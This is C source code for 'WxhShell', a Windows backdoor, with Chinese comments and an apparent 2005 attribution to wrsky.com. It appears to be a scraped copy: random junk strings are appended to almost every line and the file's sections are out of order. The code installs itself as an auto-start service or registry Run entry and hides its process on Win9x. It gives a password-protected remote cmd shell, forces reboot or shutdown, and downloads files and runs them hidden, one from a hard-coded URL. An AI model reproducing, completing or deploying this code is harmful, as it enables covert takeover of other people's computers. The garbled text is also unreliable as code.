    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ou4?`JF)-  
    else { 1@Gv`{v  
    closesocket(wsh); x/v+7Pt_  
    ExitThread(0); 2?&ptN) `N  
    } `84yGXLK  
    break; x$4'a~E  
    } =i<(hgD  
  // 获取shell )^3655mb  
  case 's': { o*8 pM`uw  
    CmdShell(wsh); W{2y*yqY  
    closesocket(wsh); .w"O/6."  
    ExitThread(0); breVTY7 S  
    break; DSa92:M}  
  } Z 0^d o  
  // 退出 s_ $@N!  
  case 'x': { VNfx>&`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h{9 pr  
    CloseIt(wsh); JE!Xf}nEi  
    break; ~<-h# B  
    } an@Ue7  
  // 离开 4\iQ%fb  
  case 'q': { ;bmd<1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ml ^Tb#  
    closesocket(wsh); w Nnb@  
    WSACleanup(); o$;x[US  
    exit(1); 6jA Q  
    break; 4Yk (ldR~  
        } j'cS_R  
  } 1NJ|%+I  
  } 'JVvL  
jeNEC&J  
  // 提示信息 Er`PYE J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gE#,QOy  
}  }2"k:-g  
  } nIT=/{oyi  
*O2j<3CHf  
  return; n_Dhq(.  
} ;anG F0x  
[sRQd;+  
// shell模块句柄 U^I'X7`r  
int CmdShell(SOCKET sock) pj`-T"Q  
{ pDT6>2t  
STARTUPINFO si; |\ L2q/u  
ZeroMemory(&si,sizeof(si)); j=LF1dG"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R8)"M(u=l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,\IZ/1  
PROCESS_INFORMATION ProcessInfo; ~b/>TKn+  
char cmdline[]="cmd"; mB`r6'#=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &,xM;8b  
  return 0; 7v_e"[s~  
} A>k;o0r  
1lM0pl6M  
// 自身启动模式 Zx{'S3W  
int StartFromService(void) z~al h?H  
{ Bc@e;k@i  
typedef struct R _%pR_\  
{ OX2\H  
  DWORD ExitStatus; 3& $E  
  DWORD PebBaseAddress; J(]nPwm=.-  
  DWORD AffinityMask; f]ef 1#  
  DWORD BasePriority; E'}$'n?:  
  ULONG UniqueProcessId; cE[lB08  
  ULONG InheritedFromUniqueProcessId; 6=k^gH[g  
}   PROCESS_BASIC_INFORMATION; OWzIea@  
82<!b]^1  
PROCNTQSIP NtQueryInformationProcess; pY@+.V`a  
;f?bb*1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bB["Qd}Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |9h[Q[m  
~Q0}>m,S  
  HANDLE             hProcess; Yv)/DsSyL  
  PROCESS_BASIC_INFORMATION pbi; Et (prmH  
,??|R` S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p%_TbH3j`  
  if(NULL == hInst ) return 0; AKVmUS;70  
SF7Kb`>Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 622).N4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @{G(.S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l;ugrAo?  
!ibp/:x  
  if (!NtQueryInformationProcess) return 0; e;$s{CNo  
L[^e< I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *4bV8T>0Z  
  if(!hProcess) return 0; *!/9?M{p  
ScD9Ct*):C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n9%rjS$  
D+U^ pl-  
  CloseHandle(hProcess); _1 a2Z\  
)Z#7%, o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,3K?=e2  
if(hProcess==NULL) return 0; AWzpk }\  
:c>,=FUT  
HMODULE hMod; F&Gb[Q&a8  
char procName[255]; /"U<0jot  
unsigned long cbNeeded; q)/4i9  
Tr8+E;;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F=#Wfl-o  
bF.Aj8ZQ  
  CloseHandle(hProcess); qr*/}F6  
C,E 5/XW  
if(strstr(procName,"services")) return 1; // 以服务启动 AG?oA328  
31}6dg8?n  
  return 0; // 注册表启动 _Cxs"to  
} anbr3L[!  
86i =N _  
// 主模块 0bor/FU-d  
int StartWxhshell(LPSTR lpCmdLine) -(jcsqDk  
{ L\UYt\ks  
  SOCKET wsl; $I'ES#8P6  
BOOL val=TRUE; u=4Rn  
  int port=0; V\_ &2',t  
  struct sockaddr_in door; A[o Ri}=  
n1QO/1} :  
  if(wscfg.ws_autoins) Install(); >\e11OU0Gy  
>y?$aJ8ZV  
port=atoi(lpCmdLine); b(yY.L=K  
]T$~a8  
if(port<=0) port=wscfg.ws_port; l}m@9 ~oC  
D`ZYF)[}J  
  WSADATA data; r`=d4dK-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mVxS[Gq  
@M1U)JoQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f-Sb:O!V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5b&'gd^d  
  door.sin_family = AF_INET; 30<^0J.1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |Qm 7x[i  
  door.sin_port = htons(port); YRK4l\_`  
=hA/;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /q=<OEC  
closesocket(wsl); ^71sIf;+  
return 1; *StJ5c_kg2  
} -kJ`gdS  
8?PNyO-Wt5  
  if(listen(wsl,2) == INVALID_SOCKET) { }&=C*5JN  
closesocket(wsl); fE(rDQI  
return 1; ,QK>e;:Be  
} 4 1Ru@  
  Wxhshell(wsl); N-^\e)ln  
  WSACleanup(); qZ4DO*%b3  
H)5]K9D  
return 0; D~-Ri`k.  
P63f0 F-G  
} | 2mEowAd  
BM3nZ<%3  
// 以NT服务方式启动 !Ed';yfz\(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k]v a  
{ [j5L}e!T  
DWORD   status = 0; Uu G;z5  
  DWORD   specificError = 0xfffffff; N(D_*% 96  
mF "ctxE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;&iQNXL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RsE+\)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y'(;!5w  
  serviceStatus.dwWin32ExitCode     = 0; +Ta7b)  
  serviceStatus.dwServiceSpecificExitCode = 0; 6%)dsTAB  
  serviceStatus.dwCheckPoint       = 0; ;lP)  
  serviceStatus.dwWaitHint       = 0; 1:8ZS  
"]sr4Jg=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IkD\YPL;  
  if (hServiceStatusHandle==0) return; .7oz  
[ z?<'Tj  
status = GetLastError(); BsxQW`>^y  
  if (status!=NO_ERROR) f;QWlh"9  
{ NbSwn}e_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f@Db._ E  
    serviceStatus.dwCheckPoint       = 0; 'E6)6N  
    serviceStatus.dwWaitHint       = 0; 4B) prQ3  
    serviceStatus.dwWin32ExitCode     = status; !.9NJ2'8  
    serviceStatus.dwServiceSpecificExitCode = specificError; L='GsjF0}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0%v p'v  
    return; &7;W=uF  
  } w* v%S   
=E{1QA0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QH+Oi&xH  
  serviceStatus.dwCheckPoint       = 0; Pj^6.f+  
  serviceStatus.dwWaitHint       = 0; a 6[bF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [&e}@!8O`  
} oM J5;  
g,\<fY+ 4  
// 处理NT服务事件,比如:启动、停止 m,'u_yK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gQ& FO~cr  
{ w!h!%r  
switch(fdwControl) }y'KS:Jb  
{ @zE_fL  
case SERVICE_CONTROL_STOP: k kY*OA  
  serviceStatus.dwWin32ExitCode = 0; A!SHt7ysJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p=T]%k*^h#  
  serviceStatus.dwCheckPoint   = 0; !tN]OQ)'  
  serviceStatus.dwWaitHint     = 0; |XPT2eQ{  
  { o[_ {\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?!b}Ir<1j  
  } UL(#B TK  
  return; [5>0om5  
case SERVICE_CONTROL_PAUSE: e)O6k7U$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^ygN/a>rr  
  break; hV_0f_Og  
case SERVICE_CONTROL_CONTINUE: 9^XT,2Wwf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zcDVvP  
  break; EFhe``  
case SERVICE_CONTROL_INTERROGATE: Wo\NX05-?  
  break; (C1]R41'  
}; D[ny%9 :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 "|')f#  
} dnH?@ K  
s<tdn[d  
// 标准应用程序主函数 yo3'\I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FK0nQ{uB"  
{ /&a[D 2  
VcA87*pel  
// 获取操作系统版本 /=i^Bgh4  
OsIsNt=GetOsVer(); >$k_tC'"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X]M)T  
os"o0?  
  // 从命令行安装 Busxg?=  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5) nm6sf  
&*r YY\I  
  // 下载执行文件 &?v^xAr?B  
if(wscfg.ws_downexe) { .(ki(8Z N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~}(}:#>T  
  WinExec(wscfg.ws_filenam,SW_HIDE); o=7 -&F.  
} gCW.;|2  
',v -&1R  
if(!OsIsNt) { ^dld\t:tV7  
// 如果时win9x,隐藏进程并且设置为注册表启动 [PdatL2  
HideProc(); vQ$FMKz7  
StartWxhshell(lpCmdLine); ,a_\o&V  
} z1*8 5?  
else *q\Ve)E}  
  if(StartFromService()) 5f jmr  
  // 以服务方式启动 fMy7pXa_  
  StartServiceCtrlDispatcher(DispatchTable); b~z1%?  
else ">j}!n 8J  
  // 普通方式启动 <%B sb}h,  
  StartWxhshell(lpCmdLine); 9Y3_.qa(.  
ULNU'6  
return 0; ^/U-(4O05*  
} 9m/v^  
r1}YN<+,s  
 (0bvd  
amK"Z<V F  
=========================================== TkM8GK-3  
GFB(c  
:D""c*  
i]JD::P_H  
5(]=?$$*t  
 mR)Xq=  
" VE`5bD+%e  
nn5tOV}QE  
#include <stdio.h> eF823cH2x_  
#include <string.h> *0^!%Y'/4  
#include <windows.h> R%=u<O  
#include <winsock2.h> 1k EXTs=,  
#include <winsvc.h> V>>"nf,YO  
#include <urlmon.h> ,6uON@  
|#^wYZO1U  
#pragma comment (lib, "Ws2_32.lib") iimTr_TEt  
#pragma comment (lib, "urlmon.lib") Z%E;*R2+:>  
4V@raI-  
#define MAX_USER   100 // 最大客户端连接数 $WED]X@X!  
#define BUF_SOCK   200 // sock buffer i 3?=up!  
#define KEY_BUFF   255 // 输入 buffer N =FX3Z  
<b.?G  
#define REBOOT     0   // 重启 #N.W8mq  
#define SHUTDOWN   1   // 关机 |4^us|XY  
US[{ Q  
#define DEF_PORT   5000 // 监听端口 O~?H\2S  
1tw>C\  
#define REG_LEN     16   // 注册表键长度 roSdcQTeT  
#define SVC_LEN     80   // NT服务名长度 3#<b!Yz  
A)/8j2  
// 从dll定义API b{%p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .fY1?$*6c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [#hpWNez(>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "%ou'\}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @-qS[bV  
VRV*\*~$  
// wxhshell配置信息 A/ZZ[B-  
struct WSCFG { `K5Lp>=R  
  int ws_port;         // 监听端口 a~ sU  
  char ws_passstr[REG_LEN]; // 口令 iI\ bD  
  int ws_autoins;       // 安装标记, 1=yes 0=no pBl'SQccp  
  char ws_regname[REG_LEN]; // 注册表键名 awxzP*6  
  char ws_svcname[REG_LEN]; // 服务名 O< [h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K9O%SfshF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xVw9_il2a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5#|D1A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X$Eg(^La  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cLhHGwX=x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u5zL;C3O  
{BPNb{dBKr  
}; ?&A)%6` ~  
w*#B_6bG  
// default Wxhshell configuration }x!=F<Q!r  
struct WSCFG wscfg={DEF_PORT, ]z3!hgTj  
    "xuhuanlingzhe", >n3w'b  
    1, uy'm2  
    "Wxhshell", G8AT] =  
    "Wxhshell", paCC'*bv  
            "WxhShell Service", :x88  
    "Wrsky Windows CmdShell Service", $]LhE:!G  
    "Please Input Your Password: ", OD{()E?1B  
  1, ~C M%WvS  
  "http://www.wrsky.com/wxhshell.exe", Uao8#<CkvJ  
  "Wxhshell.exe" oE/g) m%  
    }; ),cozN=NM  
@ByD=  
// 消息定义模块 >2v UFq`H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )c*NS7D~f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0APh=Alq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^i+ d3  
char *msg_ws_ext="\n\rExit."; @2(7 ZxI  
char *msg_ws_end="\n\rQuit."; 4f~ c# 0?  
char *msg_ws_boot="\n\rReboot..."; 3QSA|  
char *msg_ws_poff="\n\rShutdown..."; @G'&7-(h*  
char *msg_ws_down="\n\rSave to "; _UP =zW  
c+S<U*  
char *msg_ws_err="\n\rErr!"; J)o.@+Q}  
char *msg_ws_ok="\n\rOK!"; c?(;6$A  
C?dQ QB$  
char ExeFile[MAX_PATH]; Odn`q=  
int nUser = 0; M9~eDw'Pr  
HANDLE handles[MAX_USER]; A$ 2AYQ  
int OsIsNt; Z2P DT  
;@ <E  
SERVICE_STATUS       serviceStatus; ??5y0I6+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Dfhu  
I'h|7y\  
// 函数声明 <DeC^[-P  
int Install(void); 3bK.8  
int Uninstall(void); |NMf'$  
int DownloadFile(char *sURL, SOCKET wsh); dMd2a4  
int Boot(int flag); b6(LoN.  
void HideProc(void); h95a61a,Vy  
int GetOsVer(void); -ElK=q  
int Wxhshell(SOCKET wsl);  {4]sJT  
void TalkWithClient(void *cs); v[l={am{/  
int CmdShell(SOCKET sock); Kx4_`;>  
int StartFromService(void); YzA6*2  
int StartWxhshell(LPSTR lpCmdLine); yV.E+~y  
#!.26RM:P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wqnrN6$jf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mv,p*0  
sh#hDU/</  
// 数据结构和表定义 \:mZ)f3K=  
SERVICE_TABLE_ENTRY DispatchTable[] = wn1` 9  
{ qX9x#92  
{wscfg.ws_svcname, NTServiceMain}, L.ML0H-   
{NULL, NULL} Nh^ lC  
}; 4 * n4P  
{u}d`%_.M  
// 自我安装 =# /BCL7  
int Install(void) hnYL<<AA  
{ r'F)8%  
  char svExeFile[MAX_PATH]; /`kM0=MMa  
  HKEY key; <Jc :a?ICe  
  strcpy(svExeFile,ExeFile); *DDqa?gQb  
b}APD))*H!  
// 如果是win9x系统,修改注册表设为自启动 HpKF7oJ'N  
if(!OsIsNt) { 7jS`4,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y1 qJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); faIHmU  
  RegCloseKey(key); / biB *Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N+N98~Y`P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dve+ #H6N  
  RegCloseKey(key); )lh Pl  
  return 0; #@UzOQ>  
    } aam6R/4  
  } S"<"e\\}"_  
} fW3 awR{  
else { ~bD'QMk  
?mi1PNps#  
// 如果是NT以上系统,安装为系统服务 b[/uSwvi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p)e?0m26  
if (schSCManager!=0) {t%Jc~p{  
{ fbrCl!%P  
  SC_HANDLE schService = CreateService "?HDv WP=w  
  ( "3;b,<0  
  schSCManager, b+#A=Z+Pr  
  wscfg.ws_svcname, y_:~  
  wscfg.ws_svcdisp, 3:g~@PB  
  SERVICE_ALL_ACCESS, /^pPT6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A. 5`+  
  SERVICE_AUTO_START, i-FsA  
  SERVICE_ERROR_NORMAL, b#[EkI 0@  
  svExeFile, ]jRaR~[UN  
  NULL, B:]%Iu|  
  NULL, PZ.q  
  NULL, &:?2IAe  
  NULL, A(@VjXl  
  NULL `#3FvP@&  
  ); ozOvpi:k3%  
  if (schService!=0) V;IV2HT0J"  
  { b haYbiX?  
  CloseServiceHandle(schService); f&2f8@  
  CloseServiceHandle(schSCManager); eqQ=HT7J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *=b36M   
  strcat(svExeFile,wscfg.ws_svcname); /^\UB fE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U9t-(`[j?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I&JjyR  
  RegCloseKey(key); &UxI62[k  
  return 0; H"vkp~u]I  
    } |r<#>~*  
  } +t7n6  
  CloseServiceHandle(schSCManager); 7 (kC|q\4M  
} _O;2.M%@  
} hd N[wC]  
231,v,X[  
return 1; vp4NH]fJ  
} ^~DDl$NH  
De`p@`+<#~  
// 自我卸载 5H79-QLd  
int Uninstall(void) z@Uf@~+U  
{ 5Z_7Sc  
  HKEY key; yKB&][)&  
] ^ s,  
if(!OsIsNt) { :cA%lKg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,SG-{   
  RegDeleteValue(key,wscfg.ws_regname); oD.[T)G?  
  RegCloseKey(key); ~\khwNA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O.z\ VI2f  
  RegDeleteValue(key,wscfg.ws_regname); U'p-Ko#  
  RegCloseKey(key); Ql]+,^kA@  
  return 0; Hw 1:zro  
  } y*<x@i+h  
} vAcxca">S  
} ]AB'POa  
else { rHpxk  
(RU\a]Ry  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fP8iz `n  
if (schSCManager!=0) rv<_'yj  
{ =berCV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^-2|T__  
  if (schService!=0) M]7>Ar'zsG  
  { jBMGm"NE  
  if(DeleteService(schService)!=0) { 3R& FzLs  
  CloseServiceHandle(schService); []l2 `fS#  
  CloseServiceHandle(schSCManager); .C\##   
  return 0; *Y`c.n"  
  } vhd+A  
  CloseServiceHandle(schService); B>UF dj]-  
  } {,+MaH  
  CloseServiceHandle(schSCManager); B1i&HoGbz  
} h/pm$9A  
} C @nA*  
I%M"I0FV  
return 1; GV0-"9uwX~  
} DIBoIWSuR  
?rxq//S2  
// 从指定url下载文件 $2w][ d1  
int DownloadFile(char *sURL, SOCKET wsh) d6f+[<<  
{ ),(HCzK`  
  HRESULT hr; m <'&`B;  
char seps[]= "/"; *O'`&J  
char *token; 6olJ7`*  
char *file; Pr'Ij  
char myURL[MAX_PATH]; ^`?M~e2FZ8  
char myFILE[MAX_PATH]; p;Nq(=] \  
`e4gneQY  
strcpy(myURL,sURL); 9A,ok[J  
  token=strtok(myURL,seps); F[)5A5+:Y  
  while(token!=NULL) b6UpE`\z  
  { EE5mVC&  
    file=token; vHXCT?FuG  
  token=strtok(NULL,seps); 8/s?Gz  
  } 3eERY[  
pD17r}%  
GetCurrentDirectory(MAX_PATH,myFILE); 6wq>&P5  
strcat(myFILE, "\\"); .R]DT5  
strcat(myFILE, file); g\]~H%2 ,  
  send(wsh,myFILE,strlen(myFILE),0); Vrn+"2pdJ  
send(wsh,"...",3,0); ib-H jJ8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !2F X l;  
  if(hr==S_OK) e+<'=_x {  
return 0; .]YTS  
else <O0.q.  
return 1; I=2b)"t0  
$pJw p{kN  
} t.Yf8Gy  
YY4q99^K  
// 系统电源模块 -dS@ l'$  
int Boot(int flag) }D[j6+E  
{ ;6M [d  
  HANDLE hToken; F%IvgXt5  
  TOKEN_PRIVILEGES tkp; hn=tSlte  
-*$ s ;G#  
  if(OsIsNt) { B!1h"K5.($  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {s>V'+H(F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '81c>qA  
    tkp.PrivilegeCount = 1; SS6K7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mp?L9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GK=b  
if(flag==REBOOT) { Xp[xO0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z;y(D_;_  
  return 0; Y?ZzFd,i&  
} NXX/JJ+w  
else { z/,&w_8,:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B \LmE+a>  
  return 0; SW}?y%~  
} mXs.@u/  
  } IU;a$  
  else { \V#fl  
if(flag==REBOOT) { G|YNShK4=9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |:]} u|O  
  return 0; m5v IS  
} =&F~GC Z>  
else { RPdFLC/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :%>)S  
  return 0; 3 sD|R{  
} 1:!H`*DU&  
} *yv@B!r  
Bo$dIn2_  
return 1; rK\9#[?x  
} tb4^+&.GS  
:DrF)1C  
// win9x进程隐藏模块 C55Av%-=  
void HideProc(void) xp}M5|   
{ wJC F"e  
YQcaWd(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &z#`Qa3NI  
  if ( hKernel != NULL ) U$ 46=F|  
  { ,KCxNdg^#-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x\oSD1t,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;!A=YXB  
    FreeLibrary(hKernel); Y5c[9\'\  
  } Y/sZPG}4  
03c8VKp'p  
return; ~owodc  
} K#Zv>x!to  
iK=QP+^VN  
// 获取操作系统版本 qOy0QZ#0  
int GetOsVer(void) J0Gjo9L  
{ \CX6~  
  OSVERSIONINFO winfo; 2u$rloc$b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _F5*\tQ  
  GetVersionEx(&winfo); ( k,?)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0xY</S  
  return 1; pzZ+!d  
  else =*R6 O,  
  return 0; }3_ >  
} 7"F29\  
_u]%K-_  
// 客户端句柄模块 CeeAw_*@  
int Wxhshell(SOCKET wsl) mV^~  
{ "n_X4e+18P  
  SOCKET wsh; v-BQ>-&s  
  struct sockaddr_in client; %>$Pu y\U  
  DWORD myID; fW[ .Q0  
wr5v-_7r,  
  while(nUser<MAX_USER) G\o9mEzQ  
{ 7]9,J(:Ed  
  int nSize=sizeof(client); c8T| o=`k6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }[R-)M  
  if(wsh==INVALID_SOCKET) return 1; 53 -O wjpx  
)KEW`BC5T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H'JU5nE  
if(handles[nUser]==0) 4,>9N9.?9  
  closesocket(wsh); P) cEYk  
else F0~<p[9Nx  
  nUser++; &B ]1 VZUp  
  } ujzfy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :yRv:`r3Lt  
yO}5.  
  return 0; lu8*+.V  
} 3=yfbO<-  
A$]s{`  
// 关闭 socket k?$I4&|5Nt  
void CloseIt(SOCKET wsh) Cv}^]_`Q  
{ YN+vk}8 <  
closesocket(wsh); a{@}vZx>3  
nUser--; |B^Mj57DO  
ExitThread(0); 2WTOu x*  
} s_a jA  
xW]65iav  
// 客户端请求句柄 0)M8Tm0$  
void TalkWithClient(void *cs) 4v`IAR?&K;  
{ . !Pg)|  
#?V rt,n  
  SOCKET wsh=(SOCKET)cs; Inn{mmz 1  
  char pwd[SVC_LEN]; b]fx  
  char cmd[KEY_BUFF];  dOa9D  
char chr[1]; v+I-*,R  
int i,j; \ H~zN]3^  
 vP=68muD  
  while (nUser < MAX_USER) { O=;jDWE  
6T4I,XrY_F  
if(wscfg.ws_passstr) { bK.*v4RG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WN<g _8QR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U2l3E*O  
  //ZeroMemory(pwd,KEY_BUFF); 9Msy=qvYG  
      i=0; z~ywFk}KGd  
  while(i<SVC_LEN) { B]@25  
</WeB3#6  
  // 设置超时 xDGS`o_w_  
  fd_set FdRead; Fs].Fa  
  struct timeval TimeOut; T N1pg  
  FD_ZERO(&FdRead); N0.|Mb"?t  
  FD_SET(wsh,&FdRead); 4l+!Z,b  
  TimeOut.tv_sec=8; R(`:~@ 3\6  
  TimeOut.tv_usec=0; !?(7g2NP)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tAF?. \x"g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #{PwEX !Ct  
OQ7 `n<I<)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -^546 7  
  pwd=chr[0]; K)BQ0v.:[  
  if(chr[0]==0xd || chr[0]==0xa) { <^'{=A>  
  pwd=0; #{vC =m73  
  break; %IX)+ Lp`  
  } jx]P:]  
  i++; BMy3tyO  
    } @phVfP"M  
fEX=csZ86  
  // 如果是非法用户,关闭 socket mL=d E Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ocFk#FW  
} z -!w/Bv@  
Aeb(b+=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XzHR^^;u"*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b:D92pH  
8.[F3Tk=  
while(1) { Fq@o_bI  
B*,)@h  
  ZeroMemory(cmd,KEY_BUFF); lI 4tW=  
2S{P(B   
      // 自动支持客户端 telnet标准   K5jt(7i  
  j=0; PDuc;RG  
  while(j<KEY_BUFF) { @kqxN\DE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  @Fb1D"!  
  cmd[j]=chr[0]; +yp:douERi  
  if(chr[0]==0xa || chr[0]==0xd) { Z*i p=FYR  
  cmd[j]=0; P"8Ix  
  break; \3$!)z  
  } u3C_Xz  
  j++; a:fP  
    } U}RBgPX!  
UowvkVa  
  // 下载文件 y %Q. (  
  if(strstr(cmd,"http://")) { <Gi%+I@szl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); + cfEyiub  
  if(DownloadFile(cmd,wsh)) eF,F<IJT{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MLu!8dgI  
  else d_,5;M^k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >ESVHPj]  
  } e@Lxduq  
  else { 4,e'B-.  
z#^fS |  
    switch(cmd[0]) { AJbCC  
  Do/R.Mgy*  
  // 帮助 YV<y-,Io  
  case '?': { |oi+|r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #wI}93E  
